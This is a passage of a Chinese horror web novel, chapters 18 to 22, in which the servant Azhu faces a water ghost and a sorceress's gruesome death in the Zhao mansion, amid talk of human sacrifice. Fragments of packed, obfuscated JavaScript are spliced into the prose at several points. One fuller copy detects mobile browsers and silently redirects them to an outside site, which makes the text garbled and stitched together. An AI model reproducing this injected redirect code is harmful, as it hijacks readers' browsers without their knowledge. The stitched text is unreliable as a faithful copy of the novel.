d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿朱捂住嘴巴,眼睛睁得很大。紧接着门上传来铁锁晃动的声音,铁锁极重,因为声音又闷又响。 几声锁链扯动摇晃声后,“嗒”的一声,阿朱听见了门外铁锁重重落地的声音。 阿朱往后退了几步,直到身体紧紧贴着墙壁,她的头顶是摆放箱子的地方,但阿朱依然顾不上,只能大睁着双眼看向一动不动的房门。 过了很久,门外不再有声音传过来,阿朱轻手轻脚挪了过去。轻轻将手放在门栓上的时候,自己的手却在发颤。 阿朱几乎没用什么力气,伸手一推,门就被缓缓打开。被声音缠绕的恐惧涌上心头,一个不好的念头在心里成形。 阿朱心脏狂跳着,她口干舌燥,心里愈发笃定只要打开扇门,一定会有什么会被彻底改变。 18. 鬼来隔座山 雾气浓稠得在眼前流淌飘浮,阿朱半臂开外的所有光景笼罩在这片氤氲里。 她右脚踏出门槛,忽然察觉脚底踩在松软滑腻的东西上面。阿朱下意识挪开脚低头看去,才发现石砖上厚厚长了层青苔。 浓雾倏忽逼迫过来,融在眼前。阿朱再去听,贞红隐约的哭声从雾里传来。 犹豫不决时,身后一声吱呀声响起,阿朱觉得喉咙好似堵了什么,吞不进去吐不出来,回头只能看见门轻轻地被带上。 “人来隔重纸,鬼来隔座山,千邪万邪都莫来跟前啊……”她语气虚浮无力,嘴里没有底气的对着空气喃喃,往台阶下一阶一阶走着,走到最后一阶时,阿朱踩进了水里。 与平地毫不相干的水波晃动声突兀地响起,凉水瞬间淹湿鞋面和裤脚,流到脚背脚趾。 阿朱整只右脚都湿了。 要不算了,还是继续回去等着,等到天亮为止。夜里阴气太重,自己又没什么真本事,阿朱咽了咽口水,没骨气地想。 她几乎就快要下定决心退回去了,远处的声音好像知道她内心的想法似的又开始小声地哭泣起来。不间断的哭声中,阿朱听到了两声明显的呼唤自己名字的声音。 到底是妖鬼使的迷惑人心的术法还是贞红真的遇到了什么危险,阿朱不得而知。只是那声音太像了,阿朱内心几番挣扎之下后,决定亲自去看看。 望着晃荡在台阶和自己小腿旁的水波,阿朱一鼓作气双脚踩进水坑。 “嘶——” 水是极冷的,两之脚一淌进去,冷得阿朱倒吸一口凉气,她紧巴着脸用力淌水。 大雾浓白,阿朱边走边挥着手,试图将眼前的雾气驱散,只不过那点力气对沉在院子里的雾几乎没什么作用。 水位从脚踝慢慢涨到小腿肚,阿朱双足冰冷到麻木没有知觉,偏偏上半身冷汗涔涔,后背濡湿连着衣服。 时不时出现的哭声越来越接近。阿朱心里得了鼓舞,淌得更快,只是片刻后,阿朱发现或许自己面前的不是活人。 一口边缘布满青苔的水井忽然出现在眼前。 阿朱停下步子,周围安静得只剩自己的喘息声和水波轻微晃动的声音。 青苔下的石砖颜色眼熟,阿朱定睛仔细辨认后,确定这就是那路边早已枯掉的水井。 她心下慌乱,愈发觉得会有不好的事情发生。阿朱记得这井,更记得喜欢蹲守在井边的不可说。 这井是枯井,井底该是没什么水的。 阿朱劝慰自己,或许是夜里雾气太重走错了方向。一个没水的井而已,有什么可怕的。 想着,阿朱就靠了过去,可映入眼帘的井里,井水满满当当,几乎要溢出来淌在地上同地上的冷水汇合在一起。 阿朱眼睫轻轻抖动了下,跟着便彻底慌了神,眼前种种诡异之处让她本能地远离后退。 视线迅速的在周遭扫了一圈,在确认没有那“东西”后,阿朱撒开了腿在水里奔走起来,只是始终是在水里,就算是跑也跑不了多快。 阿朱越跑越慢,直到速度和走路差不多。 她自己身上很重,一口气顺不上来,肩膀脊背像是被什么东西被重重压了下去,动弹不了。 好重,好重,越来越重,怎么会这么重,沉到阿朱提不起大腿…… 阿朱弯下腰撑着膝盖低头呼了几口气,正欲继续动作时,眼角的视线不经意地扫过自己的身侧。 一只手臂湿淋淋的,晃晃悠悠的搭在肩膀上。 指尖滴答滴答落着不知道哪里出现的水。皮肉薄薄一层附着在上面。 阿朱盯着眼前泛着水光的手背,呼吸骤然停止,那股气堵在喉咙,脸色瞬间涨成猪肝血红。胸膛剧烈起伏着,鼻腔发出类似“呼哧呼哧”声。 她眼睛死死盯着这手下一步的动作。手臂除了苍白点几乎看不出和活人的手有什么差距。 阿朱眼睁睁看见那只手翻过来五指向上摊开。要给我看什么?是要看掌心吗? 不是。 手腕骨头灵活的在皮肉下翻转后是骨瘦嶙峋的手背。皮肤表面光滑没有一条掌纹,几节指骨在下面轻轻的凸起。 阿朱缓缓移开视线。鼓动的胸膛下骗自己看不见看不见,我看不见。 她听见有东西移到自己的耳边,于是,耳垂像是被什么东西伸出柔软的触手勾了下。一只身形奇瘦,四肢远比常人更长的“人”正趴在她的后背上。 脸颊旁的手臂突然变得很长,皮肤开始撕裂出白色扭曲类似烧伤过后长出新肉的疤痕。 阿朱想跑,那只手的主人像是知道她的想法突然转了方向一把缠在阿朱的脖子上。阿朱吓了一跳,她顾不上什么眼不见心静,双手拉住让自己几乎窒息的手臂。 颈侧有毛发刮过的触觉,阿朱转了转眼睛。一颗头发长至自己大腿的头伸了过来,脖子诡异得拉的很长,没有骨头似的挂在自己肩膀上。 阿朱全身湿透了,她死死盯着不断在自己身上蟒蛇一般缠紧的恶灵,心中一股无力感高高升起。 她走不动,太重了。 几乎是要没意识时,一双大手头发突然环住阿朱的肩膀,活人的气息扑过来。阿朱双肩被扣住往后一扯,身上所有的重量消失不见。 “啊咳…咳咳咳……” 空气瞬间钻进肺腑,猛烈的呼吸刺痛喉咙和内脏,阿朱咳嗽几声后捂住嘴忍不住呕出两口酸水。 意识还未回笼,整个人的身体被向后翻了过去。 “叫你别乱跑,做你该做的事情,你深更半夜跑出来做什么!还嫌自己命好命长不够消遣是不是!” 赵渡生说话难听,似乎是真生了气,没给阿朱留一点颜面地训斥。他以往也有说话不能进人耳朵的时候,但大多只是场面功夫,没什么真心实意在里头。 阿朱两只眼睛黑漆漆,精神骤然松懈,目光恍惚地对上和自己一样泡在水里的赵渡生。 “你怎么在这里?” “你管我在哪里?我算是看出来了,你压根就不怕我,你有这个忤逆我的本事。你刚刚怎么不拿这种态度把鬼吓走。” 赵渡生气愤地说着,双手还晃着阿朱的肩膀。阿朱被晃得头晕,“别晃了别晃了。”她心想自己不被鬼吓死也要被赵渡生折腾死。 阿朱伸手抓住赵渡生的手,没有信服力地回:“我哪里有,我只是想知道这里怎么变成这样了。” “我不知道。” 赵渡生愣了愣,双手环住阿朱的一只手臂,那么高的个子小鸟似的依偎在人手边。 阿朱推了推,没推开,赵渡生反而拉得更紧,对阿朱说:“你不害怕吗?害怕的话抓紧我就好了,我不会介意的。” …… 阿朱叹了口气,“现在没了,你松开吧。”赵渡生听完就猛地提高了音量: “这不行,方才要不是我,你早被拖走了。现在不谢谢我,还准备弃我而去……我不管,你既然懂些除邪祛祟的办法,你不能让我死。” 这人好没道理,分明自己才是最危险的那个。阿朱盯着赵渡生一脸正气凛然的脸,张了张嘴,叹口气说:“你不会死,你死不了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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房内漆黑一片,贞红穿着自己的红衣裳,她伸出手脸上挤出一个获得生机后释然的笑容。 变故只在刹那间发生,一根用在牛车马车上的草绳掉了下来,底部环成一个圈,阿朱大喊一声“不要!” 可贞红已经冲了过来,脖颈套在粗粝的绳圈里后,绳圈猛地收紧,死死嵌在贞红脖颈的肉里, 贞红喉咙溢出一声沉闷的喘气声便是窒息之人喉咙里嗬嗬嘶哑挣动。 阿朱奔过去,还未来得及伸手,草绳猛地往上升,阿朱撞在贞红腾空不断踢蹬的小腿上。她双手抱住贞红晃动的小腿,踮起脚尖,努力往上抬,试图让贞红挣开绳圈。 可她太矮了,她根本没法让贞红呼吸,只能眼睁睁看着贞红的脸变成绛红。 贞红小腿摆动的幅度越来越小,阿朱回头朝赵渡生一字一顿、气喘吁吁地道:“赵渡生,帮帮我。” 可赵渡生脸色灰白,血色褪得干干净净,整个人像是受了什么重大的打击刺激一般站在原地一动不动。漫无边际的水池里没有声音。 手里挣动的力气逐渐微弱下去。“贞红”不再挣扎,踢蹬的双腿卸了力。 阿朱以为贞红没生息了,无奈地抬头望去,却见贞红脸色紫红,咧出一个含泪的让人胆战心惊的笑。 阿朱心头骇了一跳,还没来得及松开手,绳子就在此时突然承受不住,绷裂开来。“贞红”从高处直直坠落,砸在阿朱身上。阿朱听见自己一声痛呼,膝盖着地倒在了地上。 脑袋里一阵嗡鸣,阿朱忍痛偏开头,模糊的最后一眼,看见赵渡生冲了过来。他的身后一只浑身乌黑的鸟风一般的闪了进来。黑鸟羽扇展开扑腾过来,爪子立在阿朱眼前。 阿朱望向离自己仅有半个手臂距离的黑鸟,同尖喙两边漆黑的眼珠注视,冥冥之中,心脏忽然重重挑了两拍。 尽管内心不断地逼迫自己挪开视线,可黑鸟就那样沉静地立在阿朱面前,转了转脑袋只看阿朱。 20. 填“井”?填“人”? 赵渡生撑着伞伫立在众人之外,雨水噼里啪啦地打在油纸伞面上,从伞骨处坠成水晶幕帘。府里的下人正挑着土运到井边,井口旁站着两人用铁锹利落地将运来的土堆到井底。 赵渡生不太记得小时候的事情,听宋夫人说,最早的时候大概是他七八岁那会儿,他每天夜里都能透过帘子看见人影站在自己的床头,又或者是听到有人敲自己的门。 一开始只当是府里下人不懂规矩冲撞了主人家。可后面,这些东西开始频繁地出现在他散学的路上,他那会儿年纪小,初生牛犊不怕虎,还问过其他人有看见路边的人吗?下人们只笑笑说小少爷莫要吓人。 于是,有一日,他提溜着灯笼走在回屋的路上,他终于忍不住上前拍了拍背对着自己的一个“人”。 幼小的掌心下是坚硬没有温度的躯体。 那“人转过身”,头发盖住全脸,赵渡生害怕但不死心,以为是丫鬟装鬼下她抖着嗓子问: “你是谁?在这等我吗?” 赵渡生当然没能等来回答,之后发生了什么他已经不记得了,只知道再次醒过来时,上上下下所有人围着他哭哭啼啼个不停,像在为谁哭丧。 大夫说他高烧了两天两夜,差点命都给烧没了。一场大病过后,赵渡生对于他幼年的记忆只能从其他人嘴里听听。打那之后,赵府也时常有这样的事情发生,不过赵老爷不知道从哪里寻来的法子,先是把赵府重修一遍,又是直接将道婆请进了门,隔三差五地给赵府做法。 他也听过府里乱七八糟的传闻,什么因果报应之类的。随着年岁渐长,赵渡生发现自己练出了能在夜里视物的能力。或许是赵家根深叶茂,他虽然也时常撞鬼,但这些鬼似乎变得不太敢近身。 养鬼? 赵渡生不敢提,那些乱嚼舌根的都已经被打死了。这么多年也只有阿朱在他面前说起。赵府家大业大,唯独到他这一辈只出了他。若是大树倒塌,他难辞其咎。 探寻的目光透过雨幕,赵渡生看见了阿朱。他脸色铁板阴沉,好似从来和阿朱不熟,刺得阿朱心头莫名地跳着。 道婆身上的铜铃不断地响动,空气中弥漫着一股刺鼻的焦味儿,她背对众人烧着什么,烟雾轻飘飘地飞上天,同水汽缠在一起,消失在半空。 宋夫人站在赵渡生身旁,头发上插了支赤金红宝石发簪,一颗血红的珠子在乌发间坠着,颤巍巍地晃动。她脸色阴沉,直勾勾地盯住往不断被盖住的井口。 阿朱站在地势低缓处,雨水在凹凸不平的地上蜿蜒地流向她的脚边,细小密织的水流带走杂草树叶和灰尘。 没人说话,每个人木木的,没什么表情,像提线木偶似的各司其职。道婆神情肃穆,嘴里不断念着经文。她在井前来回走动好像在找什么东西,最后站定在井台上大喝一声,整个人浑身僵直过会儿如释重负般长叹一口气,浑身轻松地迈开小步移到宋夫人面前。 “夫人不必担忧,一个小小的水鬼而已,我已经把她送走了。” “赵府为何会突然出现水鬼?”宋夫人颇有些急切地想要知道答案,语气里满是慌乱不安。 道婆见状笑眯眯地说:“许是水井连着城西的河,这井又常年累月的不渗水,让它以为这儿有什么人在。小公子已经命人将井填上,日后不会再来了。” 宋夫人长舒一口气,双手合十拜了拜,手上不断转着佛珠,“阿弥陀佛,昨日漫的大水恐怕也是这孤魂野鬼干的好事。” 道婆仍旧恭敬地弯着腰,宋夫人招了招手,下人拿出一袋叮当响的钱袋子递给了她。 “辛苦了。” 道婆双眼眯成一条缝,鼠目精光地盯着钱袋,将袋子藏进了自己的袖子。 “宋夫人哪儿的话,您也是为了府里大家的安危。”道婆朝着两人满面堆笑,一对银镯子在枯瘦的手腕上晃着。 宋夫人闻言,紧绷的神情骤然放松自然,她看着赵渡生挤出一个和善的笑,“往后府里还有哪里需要道婆,你就请她去看看。” 赵渡生目光过于专注,亦或是不稀得再去做些逢场作戏母子情深的戏码,他双颊清瘦了许多,往日清澈有神的眼睛暗下来,过了好半晌才慢悠悠嗯了一声。 道婆舔着脸过来,递过来一个香囊。 “听说这些夜里小公子总是睡不好觉,这是我们特意准备的驱邪香囊。”她笑得满脸褶子,偏偏赵渡生丝毫没有理会她的意思,道婆脸色变了变朝宋夫人看了眼。 “难为她好心,你就收了吧。”话说完,宋夫人将香囊随手从道婆手里接过塞到了赵渡生手里,“行了,既然已经把人请走,剩下的事你们看着就行。” 宋夫人摁了摁脑袋,一脸乏意,在众人簇拥下转身离开。 赵渡生手里握着道婆给的驱邪香囊,想了想,看也不看漫不经心地将香囊递给阿朱。 “拿着。” “啊?”阿朱站在柱子前,鼻尖闻到了土腥味儿,灵台不甚清明,“我吗?” “啧,不是你是谁。” 阿朱小声地“哦”了一声,对着手里的香囊翻来覆去的看,还凑到鼻子下闻了闻,香灰和中药的味道,阿朱不太信。 “那你怎么办呢?” “你管好自己就行。” 你之前可不是这样说的。阿朱很想这样说,但没敢说出口,小心地道了声谢。 …… 两人你一言我一句说道起来。道婆似是没想到赵渡生会这么做,完美的表情出现一丝裂缝,她很快拾掇起表情说道:“十几年前就死了的人现在不服气想上来寻活人报仇,您不必担心。” 赵渡生紧盯着井口,最后才慢慢说道:“那就按您说的来。” “是。” 等道婆走了,赵渡生忽然听见:“她很厉害吗?”原来是阿朱凑到赵渡生耳旁悄悄地用耳语问。 赵渡生瞥了身旁背后议论人还害怕到鬼鬼祟祟的阿朱一眼,“谁知道,早年间宋夫人请进来的,在赵府很多年了。” 那确实比牛贵厉害很多,阿朱想,牛贵只能在一家待一天,哪怕再多待一天,人家立刻就能发现牛贵是个半吊子的江湖骗子。 一切会恢复正常的,至少阿朱在入睡前都是这么想的。天色暗下来时,道婆曾说自己已将女鬼重新超度,水井也封了干净,往后女鬼自会投到六道中去。 阿朱打了个哈欠,给自己铺好被子,大喇喇一倒躺在里头。香囊被她放在了枕头旁边,她伸手拿过拎起流苏在空中甩了甩。 她房里的蜡烛不好,烛光在床头极其微弱昏黄,看什么东西都得凑近才行。不仅不够亮,烧起来的时候会带着黑烟,刺鼻得很,不过阿朱不太在意这些。 烛台光忽地一闪,在香囊上映出的光明明灭灭,阿朱抬头望了眼,确定门窗都已经关好了。 尽管蜡烛不好,但她已经养成了在夜里点灯的习惯。阿朱握着香囊背抵着墙缩起来闭上眼睛。 赵府前院依旧整夜点着灯,亮堂极了,和阿朱这儿完全是不一样的场面。自从出了怪事,夜里没有人会再瞎走动,守夜的小厮丫鬟都会把他们叫进门里。 夏季天燥,阿朱迷迷糊糊醒来时,眼睛还未睁开,后脑勺沉闷令人呕吐的痛感再次袭来。 阿朱以为没睡多久,毕竟她是想一觉睡到天亮的,可她嗓子难受,鼻子也难受,鼻腔里斥着白日里泥土的味道。嘴巴和舌头一股味儿。 阿朱忍不住咳嗽起来,缺水拔干的痛感一下从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635215|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉咙蔓延到脖子。 “咳咳咳…咳咳…”她翻了个身,拍了几下自己的脑袋,想去拿水喝。 夜里静,初初回过神时只以为没什么声音。等阿朱走去桌前,倒了杯凉水,喝下去才清醒些。 月光幽幽从窗子漏进来,在阿朱的脚边切成一块块大小不一惨白如石灰的光斑。 阿朱正要重新倒一杯,脖颈后的汗毛却突然警觉突兀地竖起来。 门外远远传来极细碎的响动。 一声一声又一声……像是有人在拖着什么在来回踱步。阿朱晃了晃头,确定自己没有听错。 什么声音?耳熟极了,可阿朱一时半会儿竟然想不起来。 叮铃、叮铃、叮铃…… 铜铃,道婆身上的铜铃。 铃声忽远忽近,金属碰撞声中还夹杂着某种物体撞在石壁上的声响。 阿朱没什么犹豫地推开门,她一个人摸黑走到今天白日里才见过的水井旁,没想到那儿已经早早站了一个人。 “赵渡生?你在看什么?” 赵渡生没有理会阿朱,可阿朱分明看见了他正轻微抖动着的肩膀,和近乎僵直的脊背。他甚至没能好好穿好衣服,只穿了一件单薄的里衣就在夜深露重的夜里穿行,双脚赤裸沾着沿路的土和灰。 赵渡生堵在她身前,阿朱看不见前面,更不知道发出声音的具体方位。 阿吞咽了咽嗓子,走过去的几步格外漫长难熬。 终于,她从赵渡生身后绕开来,和赵渡生肩并肩并齐。 她轻轻抬眼望了眼,只这一眼,阿朱瞬间如遭雷击般僵死在原地,她不可置信地望着远处水井的一幕。 一个人,不,不是人,是块悬浮、带血的肉。 那团“肉”被井绳缚在打水的轱辘上,草绳紧紧缠在上面,已经嵌进了肉里,黏糊湿润的鲜血不断从草绳上冒出来。 肉团在轱辘上因为不平衡来回摆动着,铜铃垂挂着发出一声又一声有规律的碰撞声。浸满水的衣摆随着来回摆动的轱辘一下一下拍在石壁上。 阿朱胸膛剧烈起伏着,她好似不会呼吸了一般,张开嘴巴大口大口的喘着粗气。 吱呀一下,一张青灰色的脸耷拉在轱辘头上转了过来面对着两人。戴着银镯子还有原样的手从草绳的缝隙中掉下来,不断地撞击轱辘和把手。 阿朱一下跪在地上,吐了。 声响在静谧的破院里回荡不停。阿朱明知道害怕,双眼却无法挪开,看着道婆血肉模糊的躯体。 一种尚且还淌在水中、漆黑漫长的窒息感缠上了脖颈上,逐渐收紧。“…为什么…为什么她会死了?为什么会这样?” 赵渡生突地伸手挡住阿朱的眼睛,“回去,不要看。” 阿朱的睫毛在他的掌心抖个不停。他握住阿朱的肩膀,想将人推走,可身后突然传来声音。 “你们在做什么呢?有没有听见什么声音?” 声音隐含着不耐,二姨娘扶着赵光行从月洞门走过来。 “哟,大晚上不睡觉,在这儿……” 二姨娘本想出言讽刺一番,她尖酸刻薄的嘴脸在看见水井来回转动的轱辘后冰消云散。 “啊啊啊啊——” “那是…那…是什么东西!” 在场的人就连行将就木的赵老爷无不大惊失色,更有甚者,在尖叫一声后直接晕死了过去。 二姨娘摔在地上,失魂落魄,眼里仿佛只能看见惨死的道婆。她忽地将视线挪向阿朱,嘴里神经地喃喃。 “不是都送人送过去了吗,为什么还会再来。” 阿朱明白他们想用土填井,鬼不要,于是变成了人,道婆自己都不会想到会被鬼用来填井。 21. 凤奴 二姨娘姚雪梅年少时就跟着赵光行进了府里,她只比宋礼莲小不了两岁,二门不迈,大字不识,又是个空有一副坏心肠但没什么脑子的。再加没有孩子,因此,她在宋夫人眼里算不上什么威胁。 赵渡生知道她一向是个随时乱发癔症的疯子,自然也从来不把她放在眼里。只是现在二姨娘如临大敌般,说话颠来倒去,瘫在地上放声大哭起来,哭得浑身乱颤。 迷雾一团团反复纠缠在眼前,却始终露不出隐藏在雾后、触手可及的事实。阿朱更不明白二姨娘为什么会这么害怕。她只是赵府的一个姨娘,没有孩子,也没有什么纠葛。赵府树倒猢狲散,她大可以自己出去寻条活陆。 宋夫人姗姗来迟,肉眼可见她先是骇了一跳,然后以极快的速度镇定下来,命人将毯子盖在井口上,全程都盯着下人动作容色虽安定,但手里不断地盘着油亮油亮的佛珠。 二姨娘眼神痴愣,她突然看向阿朱,双眼黑洞洞的没有情感,某种近乎恶毒的心思逐渐如潮水般涌出来。她伸出涂着血红豆蔻的手点了点阿朱,用一种如鬼魅般的腔调轻声低语道: “一定是道婆学艺不精。现在把这鬼惹恼了,它来报复!老爷,光祭祀不行,得杀了是不是,得用活人祭。” 赵光行双手撑着拐杖,灰白的眉毛低低压下来,在眼睛压出一片黑色的阴影,叫人分辨不清神色。 见赵光行不发话,二姨娘以为自己说准了,急忙抹去脸上因着恐惧挤出的泪水,双膝跪在地上,膝行过去双手紧紧抓住赵光行的衣摆。 “老爷,这么久了,她都没死,有哪个能活到现在……咱们,就和以前一样,这样的事情又不是没干过。我们……” 二姨娘边说着,脸上边露出点不好意思的怯态,做出轻松惬意的样子仿佛是在说今天要吃什么,而阿朱只是饭桌上一盘弃之可惜的肉菜。 阿朱心底陡然升起一股不妙,她不知如何应对,呆了瞬后不由自主地往后退,直到赵渡生移了一步站在她面前,挡住众人的视线。 “既然它们……不肯收这姑娘的命,我们便给他送过去,免得犯了忌讳……难不成那贱人化成恶鬼,这么多年还能阴魂不散地回来害我们阖府上下不成……” “你说什么?” 赵老爷似乎不敢置信自己听见了什么,他又问了一遍。二姨娘混乱的目光小心瞥了眼赵渡生,又或者说他不是在看着赵渡生,在透过那张脸看向另一个人。 “凤奴……我怕凤奴死了,她,她来寻仇……” 她?阿朱不清楚,可阿朱听见了从来没听过的名字——凤奴。 阿朱注意到了宋夫人背后的贞红,她脸色很难看,肩膀不自然的向内蜷缩,大病初愈后藏不住的憔悴与虚弱。 贞红对上了阿朱的视线,可她矮了一截似的,立刻躲闪起视线,垂下的脑袋几乎要埋进胸口。 密不透风的压抑气息,让周围人不由自主地只顾着自己眼前的事。赵光行周身低沉到几乎没有空气在周围流动,直到二姨娘又开始在劝诫赵光行要选人祭祀。 岂料她刚说出口,赵老爷原本拄着的两只手突然抬起。 “啪”的一声巨响,赵老爷转身,一巴掌扇在二姨娘脸上。他怒目直视,打完人整个身体都在抖,喉咙里传来接连不断的咳嗽声。 原来没什么血色的脸涨成猪肝色,只能弯着脊背抚顺自己的胸膛,他略显慌乱,用难以窥见心虚的目光扫视了周围的一圈人。 “放肆!你在乱说什么,谁准你乱说话!” 院子里的人大气不敢出,自顾自做着自己手上的事情。 五石散吸了那么多年,赵光行身体本已强弩之末,只剩下用灵芝丹药吊着的一口气。他不是不知道赵府后院这么多人是看在他当朝大员的身份,才矜矜业业守着如鬼坟一样的大宅院过上后半生。 二姨娘被打懵了,一点动静没有的伏在地上,捂住自己的脸颊,没让众人看见。 “一个个的都没有规矩了,赵渡生,你长本事了,我把赵府教给你,你就给我个这样的交代!” 赵光行不分青红皂白,在人前发着威,二姨娘忽地哽咽着、断断续续地哭起来,凄惨至极。 她颓败至极地跪在地上,昂起头,眼里却迸出火光,任由泪珠弄花精心装扮却早已长出细密皱纹和老年斑点的脸庞,一颗颗落在地上。 “你们一个个倒是摘得干干净净,脏活累活,恶人恶事我可没少干……她……要是她敢来害我!我就是变成鬼也要把你们拖下去。又不是我一个人害死她。”她擦了擦脸上的泪,“哦,对,还有她儿子凤奴……不能只找我一个人!!” 二姨娘发了大疯,嘴里竟然说出现场没多少人知道的豪门秘辛,恶鬼似的裂开涂满艳红胭脂的嘴唇笑着。 宋夫人脸色骤变,嘴角看热闹不嫌事大微微勾起的笑意直接僵住。赵老爷喉咙里喘着呼吸不过来的粗气,血气一下涌上头,他眼前一黑,身子不稳,踉踉跄跄往后退去。 “你……你……你真是……疯了!来人……把她给我拖下去!拖下去!!” “我又没说错……你们撒手!” …… 阿朱眼睁睁看着二姨娘被拖走。她听见宋夫人冰冷地说:“真是没有规矩了,把她给我关几天,看她出来能不能管好嘴巴……老爷,不要气坏了身子。” 宋夫人上前轻拍赵老爷的早已上了年纪而变得弯曲的脊背,“您莫要和她一般见识,当务之急是先把眼前的事解决了。府里不相干的都给散了吧,免得凭白惹出祸端……” 阿朱心底升腾起一股不安的情绪,她往赵渡生贴了贴。宋夫人接着说: “既然没来取,那就不急,这得祂自己来取才行……老爷,我们有苦衷,满天神佛会原谅我们……自寻短见的人,算不到我们头上。” 宋夫人朝赵老爷笑了笑,她慈眉善目,耳垂圆润,是极福泽深厚的长相。除了赵渡生,赵府不会有人觉得她有任何的不对。 夜里光线暗,赵渡生本就生得白,一下便衬得眼睛愈发的乌黑,在火光下光波流转。 井边传来某种物体重重砸落在地上的闷声,阿朱打了个寒颤,耳边血肉碾磨粘连又撕开的声音放大,清晰可闻。 “你没事吧?” 待众人离开,赵渡生嘴上问着就要伸手把阿朱拉到身前来,阿朱沉浸在脑海里晃动的铜铃声中,下意识地往远离赵渡生的方向躲了躲,动作幅度之大,速度之快像在躲什么脏东西似的。 赵渡生脸上宽慰的神色不自然的僵了瞬,他很快调整好表情继续说:“你别多想,这恶鬼…不会冲你来的,你放心吧。” 怎么放心,怎么就不会冲着她来,就算不冲着她来也会冲着阿朱认识的人来,阿朱不信这种话。 她唯一确信的是自从和赵渡生一起被关在祠堂后,他们看她的眼神总是格外奇怪,说尊重,绝对算不上,说冒犯,又总是保持距离,她就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我改变不了,我什么都不能改变,你也不用指望着我能改变什么。这是你们的事情,我不想参与。” 赵渡生脸上的笑容僵了僵,到这个份上,他终于发现阿朱是个能对人说重话的,她并不总是软绵绵,无力可欺之人。望着阿朱脸上的庄严与肃穆,赵渡生几乎都要以为阿朱从前的害怕和尊敬都是假的。 阿朱动了动肩膀,试图把自己的肩膀从赵渡生手下抽出来。 “你们要杀了我也好,要把我变成李申也好,随你们。大不了就是一死,死是最简单的事情。” 赵渡生脸色骤然变了,他猛地伸手拽住阿朱的手腕,让阿朱不能再往后退半步。夜里漆黑晶亮的眼睛盯着阿朱,语调前所未有的森冷。 “你没那么容易死,所以,以后也别在我面前说什么死不死的话。” 阿朱不喜欢这样的赵渡生,他浑身冒出的气质让阿朱想起很久以前深夜的一次见面,格外熟悉又隔得很远似的陌生。 两个人都是倔脾气,赵渡生发完自己的脾气,阿朱索性直接不说话完事。她沉默不语的和赵渡生暗自较量,手腕不断地挣动,赵渡生也铁了心似的和她对付,不松手。 “阿朱,会有办法可以解决的,你不要闹。我送你回去。” 说完,赵渡生才终于松开手。阿朱手腕酸痛,她伸手揉了揉,过了会儿没好气地吐出两个字: “不用。” 赵渡生拿她没有办法,两个人落得个不欢而散。 阿朱再也没有心思好好的在赵府待下去了,冥冥之中,总有种不好的预感在驱使着她不断往恐怖的方向想。 如果事情真的这么好解决,赵府不会接二连三的死人,事情正在越来越棘手,赵府养不了,更承受不了“鬼”的反噬。 22. 我要走了 贞红的屋子在阿朱对门。 她腿脚不便利,自从上次摔了后就一直跛着,没好起来。也不像以往一样再去叨扰阿朱,每天一个人来一个人走,避免和阿朱有任何交集。若是在院子里撞见阿朱还要飞快地移开视线,假装看不见。 维持这副模样没多久,阿朱也明白了她的意思,避开她出去回来的时间,一个人愈发喜欢躲在屋子里不出来,见不着日光和天,唯独剩下夜里燃烧的蜡烛。 阿朱倒没想过贞红还愿意来找自己。她抱着双膝坐在床边和反手关上门,略显鬼鬼祟祟的贞红面面相觑,两人一时半会儿哑巴似的说不上话。 贞红手里拎着个不算太大的包裹,跛着腿,慢慢挪到桌边坐下。等贞红坐稳了,阿朱才慢悠悠问她:“……你……你的腿……好些了吗?” 贞红闻言,伸手揉了揉膝盖,“一直瘸着呢。” “大夫怎么说呢?” “大夫说没事,可过去这么久了……算了。” 贞红似乎不愿意多提及自己的腿,她几次将视线转到阿朱脸上,一副欲言又止的模样。 阿朱双手环住膝盖,下半张脸埋在衣服里,瓮声瓮气的先开口问:“你来找我做什么?” “我要走了啊。” 阿朱颇为不解地看向贞红,眼里难得露出疑惑。 “我要走了。”贞红又说了一遍。 “你一个人吗?” “不是,三姨娘说她会带我一起走。我还没怎么出去过呢。反正……我也呆够了,早点离开也是好事,在这方方正正的大院里做奴做婢,实在开心不起来。你……要不然……想个法子也走吧,这儿不是好地方。” 真好,阿朱想,原来贞红是有其他出路的,不像她,哪儿也去不了。阿朱想她大不了就是一死,可她还活着,总得苦苦想些别的法子让自己死得没那么快。 “贞红,做我这活儿的是不是每一个都活不了多久。” 贞红脸色瞬间僵了瞬,垂头低语道:“我也不太清楚,但……确实是已经死了两个,而且每一个、每一个都没下痕迹。你为什么突然问起这件事儿?” 阿朱料想贞红不会知道太多陈年旧事,但她知道的信息实在太少,只能死马当活马医地问:“你还记得李申吗?他不就早早死了。还有……他们取了我的命格拿去祭奠什么人或者说要借给谁用。” 借命,有借有还才叫借,还不上的叫抢。 好端端的活人一旦被借命就会被阴邪之物纠缠,在阳寿衰弱下出现的幻境和噩梦里被恶鬼撕咬追逐,直到丢掉性命。 赵府莫名其妙的仪式,还有深更半夜出现的怪谈。阿朱隐隐明白自己只是赵府一个新的小小替死鬼。 贞红不懂赵府的弯弯绕绕,她小心翼翼地朝门外望了眼,随即压低声音告诫阿朱:“我不晓得什么祭奠、祭祀的,反正你离小公子远一点,找到机会要跑。” 眼见能有继续深挖的意思,阿朱只装作一概不知故意问道:“跑?为什么要跑?” “三姨娘和我说,赵府很多年前死了不少人,说……说……那批人尸骨无存,祠堂没有牌位,墓地也没多出来的石碑。总而言之,怪异得很,你要小心。” 